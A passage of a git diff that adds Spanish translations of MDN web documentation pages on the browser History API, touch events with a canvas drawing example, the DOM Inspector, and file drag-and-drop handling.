+  <p><strong>URL</strong> — La URL de la nueva entrada al  historial está dada por este parámetro. Recuerda que el browser no intentará cargar esta URL después de llamar a <code>pushState()</code>,  <span class="long_text" id="result_box" lang="es"><span title="">pero podría intentar cargar la URL más tarde, por ejemplo, después de que el usuario reinicie su navegador</span></span>. La nueva URL no necesita ser absoluta; si es relativa, es resuelta relativamente a la actual URL.  La nueva URL debe ser del mismo origen que la actual URL. Si no es así, <code>pushState()</code> arrojará una excepción. Este parámetro es opcional; <span class="long_text" id="result_box" lang="es"><span title="">si no se especifica, se tomará la URL actual del documento.</span></span></p>
+ </li>
+</ul>
+
+<p>En un sentido, llamar <code>pushState()</code> es similar a asignar <code>window.location = "#foo"</code>, <span class="long_text" id="result_box" lang="es"><span title="">en tanto que también se va a crear y activar otra entrada al historial asociada con el documento actual</span></span>. Pero <code>pushState()</code> tiene las siguientes ventajas:</p>
+
+<ul>
+ <li>La nueva URL puede ser cualquier URL en el mismo origen de la actual URL. En contraste, asignar <code>window.location</code> te mantiene en el mismo {{ domxref("document") }} solamente si modificas unicamente el hash.</li>
+ <li>No hay por qué cambiar la URL si no se desea. Por el contrario, asignar <code>window.location = "#foo"; solamente crea una nueva entrada en el historial si el hash actual no es </code><code>#foo</code>.</li>
+ <li>Puedes asociar datos arbitrarios con tu nuevo historial de entrada. Con el enfoque hash-based, tu necesitas codificar todos datos relevantes dentro de una cadena de caracteres corta.</li>
+ <li>Si <code>title</code> es utilizado por los navegadores, estos datos pueden utilizarse (independientemente de, por ejemplo, el hash).</li>
+</ul>
+
+<p>Hay que tener en cuenta que <code>pushState()</code> nunca dispara un evento <code>hashchange</code>, incluso si la nueva URL difiere de la antigua URL únicamente en su hash.</p>
+
+<p>En un documento XUL, crea el elemento XUL específico.</p>
+
+<p>En otros documentos, crea un elemento con un namespace de URI nulo (<code>null</code>).</p>
+
+<h3 id="El_método_replaceState()">El método replaceState()</h3>
+
+<p><code>history.replaceState()</code> trabaja exactamente igual a <code>history.pushState()</code> excepto que <code>replaceState()</code> modifica la entrada al historial actual en lugar de crear una nueva.</p>
+
+<p><code>replaceState()</code> es particularmente útil si deseas actualizar el objeto estado o la URL del la actual entrada al historial en respuesta a alguna acción del usuario.</p>
+
+<h3 id="El_evento_popstate">El evento popstate</h3>
+
+<p>Un evento <code>popstate</code> es dirigido a la ventana cada vez que la entrada al historial cambia. Si la entrada al historial es activada y fue creada por un llamado a <code>pushState</code> o afectada por una llamada a <code>replaceState</code>, la propiedad state del evento <code>popstate</code> contiene una copia del historial de entradas del objeto estado.</p>
+
+<p>Ver {{ domxref("window.onpopstate") }} para un ejemplo de uso.</p>
+
+<h3 id="Leyendo_el_estado_actual">Leyendo el estado actual</h3>
+
+<p>Cuando la página carga, debería tener un objeto de estado no nulo. Esto podría ocurrir, por ejemplo, si la página establece un object de estado (usando <code>pushState()</code> o <code>replaceState()</code>) y entonces el usuario reinicia su navegador. Cuando la página carga de nuevo, la página recibirá el evento onload, pero no el evento popstate.  Sin embargo, si lees la propiedad history.state, obtendrás el objeto estado que habrías tenido si se hubiera lanzado el evento apopstate.</p>
+
+<p>Puedes leer el estado del historial actual sin tener que esperar un evento <code>popstate</code> usando la propiedad  <code>history.state</code> de esta manera:</p>
+
+<pre><code>var currentState = history.state;</code></pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Para un ejemplo completo de un sitio AJAX, ver: <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history/Example" title="/en-US/docs/Web/Guide/API/DOM/Manipulating_the_browser_history/Example">Ejemplo de navegación AJAX</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado </th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No hay cambios desde {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#history", "History")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>replaceState, pushState</td>
+   <td>5</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>10</td>
+   <td>11.50</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>history.state</td>
+   <td>18</td>
+   <td>{{ CompatGeckoDesktop("2.0") }}</td>
+   <td>10</td>
+   <td>11.50</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>replaceState, pushState</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>history.state</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ domxref("window.history") }}</li>
+ <li>{{ domxref("window.onpopstate") }}</li>
+</ul>
diff --git a/files/es/dom/touch_events/index.html b/files/es/dom/touch_events/index.html
new file mode 100644
index 0000000000..02a4a4eacb
--- /dev/null
+++ b/files/es/dom/touch_events/index.html
@@ -0,0 +1,292 @@
+---
+title: Eventos de toque
+slug: DOM/Touch_events
+tags:
+  - DOM
+  - Event
+  - Mobile
+  - NeedsMobileBrowserCompatTable
+  - eventos
+translation_of: Web/API/Touch_events
+---
+<p>Con el fin de proporcionar soporte de calidad para usuarios de interfaces táctiles, los eventos táctiles dan la posibilidad de interpretar la actividad de los dedos en pantallas táctiles o trackpads.</p>
+
+<h2 id="Definiciones">Definiciones</h2>
+
+<dl>
+ <dt>Superficie</dt>
+ <dd>La superficie sensible al tacto. Esta puede ser una pantalla o un trackpad.</dd>
+</dl>
+
+<dl>
+ <dt><strong style="font-weight: bold;">Punto de toque</strong></dt>
+ <dd>Un punto de contacto con la superficie. Esto podría ser un dedo (o un codo, oreja, nariz, o lo que sea, pero probablemente un dedo) o un stylus.</dd>
+</dl>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{ domxref("TouchEvent") }}</dt>
+ <dd>Representa un evento que ocurre cuando el estado de los toques en la superficie cambian.</dd>
+ <dt>{{ domxref("Touch") }}</dt>
+ <dd>Represeta un único punto de contacto entre el usuario y la superficie táctil.</dd>
+ <dt>{{ domxref("TouchList") }}</dt>
+ <dd>Representa varios puntos de toque: esto se utiliza cuando el usuario tiene, por ejemplo, varios dedos en la superficie al mismo tiempo.</dd>
+ <dt>{{ domxref("DocumentTouch") }}</dt>
+ <dd>Contiene varios métodos para crear objetos de {{domxref("Touch")}} y {{domxref("TouchList")}}.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo muestra múltiples puntos de toques al mismo tiempo, permitiendo al usuario dibujar en un {{ HTMLElement("canvas") }} con más de un dedo a la vez. Esto funciona solamente en un navegador que soporte eventos táctiles.</p>
+
+<div class="note"><strong>Not</strong><strong>a:</strong> El texto de abajo usa el término "dedo" cuando describe el contacto con la superficie, pero esto podría ser, por supuesto, también un stylus u otro método de contacto.</div>
+
+<h3 id="Configurando_los_eventos_de_manipulación">Configurando los eventos de manipulación</h3>
+
+<p>Cuando la página carga, la función <code>startup()</code> mostrada a continuación es llamada por nuestro atributo <code>onload</code> del elemento {{ HTMLElement("body") }}.</p>
+
+<pre class="brush: js">function startup() {
+  var el = document.getElementsByTagName("canvas")[0];
+  el.addEventListener("touchstart", handleStart, false);
+  el.addEventListener("touchend", handleEnd, false);
+  el.addEventListener("touchcancel", handleCancel, false);
+  el.addEventListener("touchleave", handleLeave, false);
+  el.addEventListener("touchmove", handleMove, false);
+}
+</pre>
+
+<p>Esto simplemente configura todos los detectores de eventos para nuestro elemento {{ HTMLElement("canvas") }}, por lo que podremos manejar todos los eventos de toque cuando se produzcan.</p>
+
+<h3 id="Seguimiento_de_nuevos_toques">Seguimiento de nuevos toques</h3>
+
+<p>Cuando un evento <code>touchstart</code> ocurre, indicando que un nuevo toque sobre la superficie se ha producido, la función <code>handleStart()</code> de a continuación es llamada.</p>
+
+<pre class="brush: js">function handleStart(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  for (var i=0; i&lt;touches.length; i++) {
+    ongoingTouches.push(touches[i]);
+    var color = colorForTouch(touches[i]);
+    ctx.fillStyle = color;
+    ctx.fillRect(touches[i].pageX-2, touches[i].pageY-2, 4, 4);
+  }
+}
+</pre>
+
+<p>Esto llama a {{ domxref("event.preventDefault()") }} para mantener al navegador procesando el evento de toque (esto también previene que un evento del ratón o mouse sea entregado). Entonces obtenemos el contexto y lanzamos la lista de puntos de contacto cambiados de la propiedad {{ domxref("TouchEvent.changedTouches") }} del evento.</p>
+
+<p>Después de ello, iteramos sobre todos los objetos {{ domxref("Touch") }} de la lista, insertándolo en una matriz de puntos de toque activos y dibujando el punto de inicio como un pequeño rectángulo; estamos usando una línea de 4 pixeles de ancho, por tanto estamos dibujando un cuadrado de 4 por 4 píxeles como punto de consistencia.</p>
+
+<h3 id="Dibujando_mientras_los_eventos_de_toque_se_mueven">Dibujando mientras los eventos de toque se mueven</h3>
+
+<p>Cada vez que uno o más dedos se mueven, un evento <code>touchmove</code> es entregado, resultando en una llamada a nuestra función <code>handleMove()</code>. Su responsabilidad en este ejemplo es actualizar la información de toque cacheada y dibujar una línea desde la posición previa a la posición actual en cada toque.</p>
+
+<pre class="brush: js">function handleMove(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  ctx.lineWidth = 4;
+
+  for (var i=0; i&lt;touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    ctx.fillStyle = color;
+    ctx.beginPath();
+    ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
+    ctx.lineTo(touches[i].pageX, touches[i].pageY);
+    ctx.closePath();
+    ctx.stroke();
+    ongoingTouches.splice(idx, 1, touches[i]);  // swap in the new touch record
+  }
+}
+</pre>
+
+<p>Esto se repite también en los toques cambiados, pero mira en nuestra matriz de información de toques cacheados la información previa de cada toque con el fin de determinar los puntos de inicio para cada nuevo segmento de línea de toques que será dibujada. Esto se hace mirando cada propiedad de los toques de {{ domxref("Touch.identifier") }} . Esta propiedad es un único entero para cada toque, y sigue siendo consistente para cada evento durante la duración del contacto de cada dedo con la superficie.</p>
+
+<p>Esto nos permite conseguir las coordenadas de la posición previa de cada toque y usar el método apropiado de contexto para dibujar un segmento de línea uniendo dos posiciones a la vez.</p>
+
+<p>Después de dibujar la línea, llamamos a  <a href="/en/JavaScript/Reference/Global_Objects/Array/splice" title="en/JavaScript/Reference/Global Objects/Array/splice"><code>Array.splice()</code></a> para reemplazar la información previa sobre el punto de toque con la información actual de la matriz <code>ongoingTouches</code>.</p>
+
+<h3 id="Manejando_el_final_de_un_toque">Manejando el final de un toque</h3>
+
+<p>Cuando el usuario levanta un dedo de la superficie, un evento <code>touchend</code> es enviado.  De igual manera, si el dedo se desliza fuera de nuestro lienzo, obtenemos un evento <code>touchleave</code>. Manejamos ambos casos de la misma manera: llamando a la función <code>handleEnd()</code> de abajo. Su trabajo es dibujar el último segmento de línea para cada toque que ha finalizado y remueve el punto de toque de la lista de toques en marcha.</p>
+
+<pre class="brush: js">function handleEnd(evt) {
+  evt.preventDefault();
+  var el = document.getElementsByTagName("canvas")[0];
+  var ctx = el.getContext("2d");
+  var touches = evt.changedTouches;
+
+  ctx.lineWidth = 4;
+
+  for (var i=0; i&lt;touches.length; i++) {
+    var color = colorForTouch(touches[i]);
+    var idx = ongoingTouchIndexById(touches[i].identifier);
+
+    ctx.fillStyle = color;
+    ctx.beginPath();
+    ctx.moveTo(ongoingTouches[i].pageX, ongoingTouches[i].pageY);
+    ctx.lineTo(touches[i].pageX, touches[i].pageY);
+    ongoingTouches.splice(i, 1);  // remove it; we're done
+  }
+}
+</pre>
+
+<p>Esto es muy similar a la función previa; la única diferencia real es que cuando llamamos a  <a href="/en/JavaScript/Reference/Global_Objects/Array/splice" title="en/JavaScript/Reference/Global Objects/Array/splice"><code>Array.splice()</code></a>, simplemente remueve la antigua entrada de la lista de toques en marcha, sin añadir la información actualizada. El resultado es que detenemos el seguimiento del punto de toque.</p>
+
+<h3 id="Manejando_los_toques_cancelados">Manejando los toques cancelados</h3>
+
+<p>Si el dedo del usuario se equivoca en la Interfaz del navegador, o el toque necesita ser cancelado, el evento <code>touchcancel</code> es enviado, y llamamos a la función <code>handleCancel()</code> abajo.</p>
+
+<pre class="brush: js">function handleCancel(evt) {
+  evt.preventDefault();
+  var touches = evt.changedTouches;
+
+  for (var i=0; i&lt;touches.length; i++) {
+    ongoingTouches.splice(i, 1);  // remove it; we're done
+  }
+}
+</pre>
+
+<p>Dado que la idea es cancelar el toque inmediatamente, simplemente lo removemos de la lista de toques en marcha sin dibujar un segmento de línea final.</p>
+
+<h3 id="Funciones_de_conveniencia">Funciones de conveniencia</h3>
+
+<p>Este ejemplo usa dos funciones de convenience que deben mirarse brevemente para ayudar a que el resto del código sea más claro.</p>
+
+<h4 id="Seleccionando_un_color_para_cada_toque">Seleccionando un color para cada toque</h4>
+
+<p>Con el fin de hacer que cada dibujo de toque se vea diferente, la función  <code>colorForTouch()</code> es usada para elegir un color basado en el identificador único de toque. Este identificador estará siempre entre 0 y un valor menos que el número de toques activos. Puesto que es muy improbable que alguna persona con más de 16 dedos use este demo, convertimos estos directamente en colores de escalas grises.</p>
+
+<pre class="brush: js">function colorForTouch(touch) {
+  var id = touch.identifier;
+  id = id.toString(16); // make it a hex digit
+  return "#" + id + id + id;
+}
+</pre>
+
+<p>El resultado de esta función es un string o cadena que puede ser usada cuando se llame a funciones {{ HTMLElement("canvas") }} para configurar los colores de dibujos. Por ejemplo, para un valor {{ domxref("Touch.identifier") }}  de 10, el resultado string o cadena es "#aaa".</p>
+
+<h4 id="Encontrando_un_toque_continuo">Encontrando un toque continuo</h4>
+
+<p>La función <code>ongoingTouchIndexById()</code> abajo explora mediante la matriz <code>ongoingTouches</code> para encontrar el toque que coincida con el identificador dado, luego devuelve los índices de toques a la matriz.</p>
+
+<pre class="brush: js">function ongoingTouchIndexById(idToFind) {
+  for (var i=0; i&lt;ongoingTouches.length; i++) {
+    var id = ongoingTouches[i].identifier;
+
+    if (id == idToFind) {
+      return i;
+    }
+  }
+  return -1;    // not found
+}
+</pre>
+
+<p><a href="/samples/domref/touchevents.html">Ver ejemplo en vivo</a></p>
+
+<h2 id="Consejos_adicionales">Consejos adicionales</h2>
+
+<p>Esta sección provee consejos adicionales sobre como manejar los eventos de toques en tu aplicación web.</p>
+
+<h3 id="Manejando_los_clics">Manejando los clics</h3>
+
+<p>Ya que la llamada <code>preventDefault()</code> en un <code>touchstart</code> o el primer evento <code>touchmove</code> de una serie impide que los eventos correspondientes eventos del mouse o ratón se disparen, es común llamar a <code>preventDefault()</code> en <code>touchmove</code> en lugar de <code>touchstart</code>. De esta manera, los eventos del ratón pueden todavía ser disparados y cosas como enlaces siguen funcionando. Alternativamente, algunos frameworks tienen que referirse a eventos de toque como eventos de ratón para este mismo propósito. (Este ejemplo es muy simplificado y podria resultar en un extraño comportamiento. Solo se diseñó como guía).</p>
+
+<pre class="brush: js">function onTouch(evt) {
+  evt.preventDefault();
+  if (evt.touches.length &gt; 1 || (evt.type == "touchend" &amp;&amp; evt.touches.length &gt; 0))
+    return;
+
+  var newEvt = <a href="https://developer.mozilla.org/en/DOM/document.createEvent" rel="internal" title="en/DOM/document.createEvent">document.createEvent</a>("MouseEvents");
+  var type = null;
+  var touch = null;
+  switch (event.type) {
+    case "touchstart": type = "mousedown"; touch = event.changedTouches[[0];
+    case "touchmove":  type = "mousemove"; touch = event.changedTouches[[0];
+    case "touchend":   type = "mouseup"; touch = event.changedTouches[0];
+  }
+  newEvt.<strong>initMouseEvent</strong>(type, true, true, event.<code><a href="https://developer.mozilla.org/en/DOM/event.originalTarget" rel="custom">originalTarget</a>.ownerDocument.defaultView</code>, 0,
+    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
+    evt.ctrlKey, evt.altKey, evt.shirtKey, evt.metaKey, 0, null);
+  event.<code><a href="https://developer.mozilla.org/en/DOM/event.originalTarget" rel="custom">originalTarget</a></code>.<a href="https://developer.mozilla.org/en/DOM/element.dispatchEvent" rel="internal" title="en/DOM/element.dispatchEvent">dispatchEvent</a>(newEvt);
+}
+</pre>
+
+<h3 id="Llamando_a_preventDefault()_solo_en_un_segundo_toque">Llamando a preventDefault() solo en un segundo toque</h3>
+
+<p>Una cosa para prevenir cosas como <code>pinchZoom</code> en una página es llamar a <code>preventDefault()</code> en el segundo toque de una serie. Este comportamiento no está bien definido en los eventos de toque, y resulta en diferentes comportamientos en diferentes navegadores (osea iOS evitará el zoom o acercamiento pero permitirá vista panorámica con ambos dedos. Android permitirá zoom o acercamiento pero no una panorámica. Opera and Firefox actualmente evita panorámica y zoom o acercamiento). Actualmente, no se recomienda depender de ningún comportamiento en particular en este caso, si no mas bien depender de una meta vista para evitar el zoom.</p>
+
+<dl>
+</dl>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatChrome("22.0") }}</td>
+   <td>{{ CompatGeckoDesktop("18.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_de_Gecko">Notas de Gecko</h3>
+
+<p>La preferencia <code>dom.w3c_touch_events.enabled</code> puede ser utilizada para activar o desactivar el soporte de eventos de toque estándares; por defecto, están activados.</p>
+
+<div class="geckoVersionNote" style="">
+<p>{{ gecko_callout_heading("12.0") }}</p>
+
+<p>Antes de Gecko 12.0 {{ geckoRelease("12.0") }}, Gecko no soportaba multi-toques; solo un toque cada vez era reportado.</p>
+</div>
+
+<div class="note"><strong>Note: </strong>Antes de Gecko 6.0 {{ geckoRelease("6.0") }}, Gecko ofrecía una <a href="/en/DOM/Touch_events_(Mozilla_experimental)" title="en/DOM/Touch events (Mozilla experimental)">API de eventos de toque propietaria</a>. Está API está obsoleta actualmente; deberías cambiar a esta."</div>
diff --git a/files/es/dom_inspector/index.html b/files/es/dom_inspector/index.html
new file mode 100644
index 0000000000..c6217195c6
--- /dev/null
+++ b/files/es/dom_inspector/index.html
@@ -0,0 +1,29 @@
+---
+title: DOM Inspector
+slug: DOM_Inspector
+tags:
+  - CSS
+  - 'CSS:Herramientas'
+  - DOM
+  - 'DOM:Herramientas'
+  - 'Extensiones:Herramientas'
+  - HTML
+  - 'HTML:Herramientas'
+  - JavaScript
+  - 'JavaScript:Herramientas'
+  - Temas
+  - 'Temas:Herramientas'
+  - Todas_las_Categorías
+  - XUL
+  - 'XUL:Herramientas'
+  - extensiones
+translation_of: Tools/Add-ons/DOM_Inspector
+---
+<p>
+</p><p>El <b><a class="external" href="http://www.mozilla.org/projects/inspector/">DOM Inspector</a></b> (conocido como <b>DOMi</b>) es una herramienta de Mozilla utilizada para inspeccionar, navegar y editar el <i>Modelo de Objetos del Documento</i>(<a href="es/DOM">Document Object Model</a> en inglés) de los documentos - normalmente páginas web o ventanas <a href="es/XUL">XUL</a> .
+</p><p>Para más información sobre el DOMi, consulta <a class="external" href="http://kb.mozillazine.org/DOM_Inspector">la página del DOM Inspector en MozillaZine</a>.
+</p><p><span>Categorías</span>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/DOM_Inspector", "fr": "fr/Inspecteur_DOM", "it": "it/DOM_Inspector", "ja": "ja/DOM_Inspector", "ko": "ko/DOM_Inspector", "pl": "pl/Inspektor_DOM" } ) }}
diff --git a/files/es/dragdrop/drag_and_drop/drag_and_drop_archivo/index.html b/files/es/dragdrop/drag_and_drop/drag_and_drop_archivo/index.html
new file mode 100644
index 0000000000..1225072b01
--- /dev/null
+++ b/files/es/dragdrop/drag_and_drop/drag_and_drop_archivo/index.html
@@ -0,0 +1,117 @@
+---
+title: Drag & Drop archivo
+slug: DragDrop/Drag_and_Drop/drag_and_drop_archivo
+tags:
+  - Guía
+  - arrastra y suelta
+  - drag and drop
+  - drop zone
+  - zona de arrastre
+translation_of: Web/API/HTML_Drag_and_Drop_API/File_drag_and_drop
+---
+<p>{{DefaultAPISidebar("HTML Drag and Drop API")}}</p>
+
+<p>Las interfaces Drag-and-Drop posibilitan arrastrar y soltar archivos en una página web. En este documento se describe cómo una aplicación puede aceptar uno, o más, archivos que son arrastrados desde el <em>explorador de archivos </em>de la plataforma y soltados en una página web.</p>
+
+<p>Los pasos principales para configurar Drag-and-drop son: 1) definir una "zona drop (<em>drop zone), </em>es decir, definir un elemento donde se podrá soltar el archivo; y 2) definir funciones para la gestión de los eventos {{event("drop")}} y {{event("dragover")}}. Estos pasos se describen a continuación, tambien se incluyen ejemplos snippets de código. El código fuente completo está disponible en el <a href="https://github.com/mdn/dom-examples/tree/master/drag-and-drop">repositorio drag-and-drop de MDN</a> (cualquier sugerencia o  tema que revisar es bienvenido).</p>
+
+<p class="note">Nota: {{domxref("HTML_Drag_and_Drop_API","HTML drag and drop")}} define 2 diferentes APIs para soportar drag and drop de archivos. Una API es la interfaz {{domxref("DataTransfer")}} y la segunda API son las interfaces {{domxref("DataTransferItem")}} y {{domxref("DataTransferItemList")}}.  Este ejemplo ilustra el uso de ambas APIs (y no usa ninguna interfaz específica de Gecko).</p>
+
+<h2 id="Define_la_zona_drop_drop_zone">Define la zona "drop" [drop <em>zone</em>]</h2>
+
+<p>Es necesario configurar un evento {{event("drop")}} en el objeto sobre el cual se soltará el objeto arrastrado. Este evento llamará una función global {{domxref("GlobalEventHandlers.ondrop","ondrop")}} que recibe los datos del objeto arrastrado. El siguiente código muestra cómo se hace con un elemento {{HTMLelement("div")}}:</p>
+
+<pre class="brush: html notranslate">&lt;div id="drop_zone" ondrop="dropHandler(event);"&gt;
+  &lt;p&gt;Arrastra y suelta uno o más archivos a esta zona ...&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>Normalmente, una aplicación incluirá una función de gestión de eventos {{event("dragover")}} en el elemento objetivo del arrastre y esa función desactivará el comportamiento de arrastre por defecto del browser. Para añadir esta función necesita incluir una función global {{domxref("GlobalEventHandlers.ondragover","ondragover")}}:</p>
+
+<pre class="brush: html notranslate">&lt;div id="drop_zone" ondrop="dropHandler(event);" ondragover="dragOverHandler(event);"&gt;
+  &lt;p&gt;Arrastra y suelta uno o más archivos a esta zona ...&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Por último, puede que una aplicación quiera personalizar el estilo del elemento objetivo del arrastre para indicar visualmente que es una zona drag and drop. En este ejemplo, el elemento objetivo usa el siguiente estilo:</p>
+
+<pre class="brush: css notranslate">#drop_zone {
+  border: 5px solid blue;
+  width:  200px;
+  height: 100px;
+}
+</pre>
+
+<div class="note">
+<p>Fíjese que los eventos <code>dragstart</code> y <code>dragend</code> no son activados cuando se arrastra un archivo al browser desde el SO.</p>
+</div>
+
+<h2 id="Procesar_la_acción_de_soltar_drop">Procesar la acción de soltar [drop]</h2>
+
+<p>El evento {{event("drop")}} se ejecuta cuando el usuario suelta el o los archivos. En el siguiente manejador, si el navegador sorporta la interfaz {{domxref("DataTransferItemList")}} , el método {{domxref("DataTransferItem.getAsFile","getAsFile()")}} se utiliza para acceder cada fichero; de lo contrario la propiedad {{domxref("DataTransfer")}} de la interfaz {{domxref("DataTransfer.files","files")}} es usada para acceder cada archivo.</p>
+
+<p>El ejemplo siguiente muestra como escribir el nombre de cada fichero arrastrado en la consola. En una aplicación <em>real</em>, se querrá procesar un archivo usando {{domxref("File","File API")}}.</p>
+
+<p>Nótese que en este ejemplo, cualquier item arrastrado que no sea un archivo es ignorado.</p>
+
+<pre class="brush: js notranslate">function dropHandler(ev) {
+  console.log('Fichero(s) arrastrados');
+
+  // Evitar el comportamiendo por defecto (Evitar que el fichero se abra/ejecute)
+  ev.preventDefault();
+
+  if (ev.dataTransfer.items) {
+    // Usar la interfaz DataTransferItemList para acceder a el/los archivos)
+    for (var i = 0; i &lt; ev.dataTransfer.items.length; i++) {
+      // Si los elementos arrastrados no son ficheros, rechazarlos
+      if (ev.dataTransfer.items[i].kind === 'file') {
+        var file = ev.dataTransfer.items[i].getAsFile();
+        console.log('... file[' + i + '].name = ' + file.name);
+      }
+    }
+  } else {
+    // Usar la interfaz DataTransfer para acceder a el/los archivos
+    for (var i = 0; i &lt; ev.dataTransfer.files.length; i++) {
+      console.log('... file[' + i + '].name = ' + ev.dataTransfer.files[i].name);
+    }
+  }
+
+  // Pasar el evento a removeDragData para limpiar
+  removeDragData(ev)
+}</pre>
+
+<h2 id="Prevenir_el_comportamiento_default_de_arrastrado_en_el_browser">Prevenir el comportamiento default de arrastrado en el browser </h2>
+
+<p>El siguiente evento {{event("dragover")}} llama a  {{domxref("Event.preventDefault","preventDefault()")}} para deshabilitar (turn off) la respuesta estandar drag-and-drop del browser.</p>
+
+<pre class="brush: js notranslate">function dragOverHandler(ev) {
+  console.log('File(s) in drop zone');
+
+  // Prevent default behavior (Prevent file from being opened)
+  ev.preventDefault();
+}
+</pre>
+
+<h2 id="Limpieza_Cleanup">Limpieza (Cleanup)</h2>
+
+<p>Typically, an application may want to perform some cleanup by deleting the file drag data. In this example, the drop event is passed along from drop handler to a custom function called removeDragData. If the browser supports the {{domxref("DataTransferItemList")}} interface, the list's {{domxref("DataTransferItemList.clear","clear()")}} method is used to delete the file drag data; otherwise the {{domxref("DataTransfer")}} object's {{domxref("DataTransfer.clearData","clearData()")}} method is used to delete the data.</p>
+
+<pre class="brush: js notranslate">function removeDragData(ev) {
+  console.log('Removing drag data')
+
+  if (ev.dataTransfer.items) {
+    // Use DataTransferItemList interface to remove the drag data
+    ev.dataTransfer.items.clear();
+  } else {
+    // Use DataTransfer interface to remove the drag data
+    ev.dataTransfer.clearData();
+  }
+}
+</pre>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">HTML Drag and Drop API</a></li>
+ <li><a class="internal" href="/Web/Guide/HTML/Drag_operations" title="Drag Operations">Drag Operations</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/interaction.html#dnd" title="Drag and Drop Standard">HTML5 Living Standard: Drag and Drop</a></li>
+</ul>
diff --git a/files/es/dragdrop/drag_and_drop/index.html b/files/es/dragdrop/drag_and_drop/index.html
new file mode 100644
index 0000000000..82e069ed48
--- /dev/null
+++ b/files/es/dragdrop/drag_and_drop/index.html
@@ -0,0 +1,57 @@
+---
+title: Arrastrar y soltar
+slug: DragDrop/Drag_and_Drop
+tags:
+  - HTML5
+  - XUL
+translation_of: Web/API/HTML_Drag_and_Drop_API
+---
+<p>Firefox y otras aplicaciones de Mozilla admiten una serie de características para gestionar la funcionalidad de arrastrar y soltar. Esto le permite al usuario hacer clic y mantener presionado el botón del ratón/mouse sobre un elemento, arrastrarlo a otra ubicación y soltarlo para colocar el elemento allí. Al puntero le seguirá una representación transparente de lo que se está arrastrando durante la operación. La ubicación de destino puede ser una aplicación diferente. Sitios web, extensiones y aplicaciones XUL pueden hacer uso de esta funcionalidad para personalizar los elementos que pueden ser arrastrados, evaluar la operación, así como especificar el lugar donde los elementos se pueden soltar.</p>
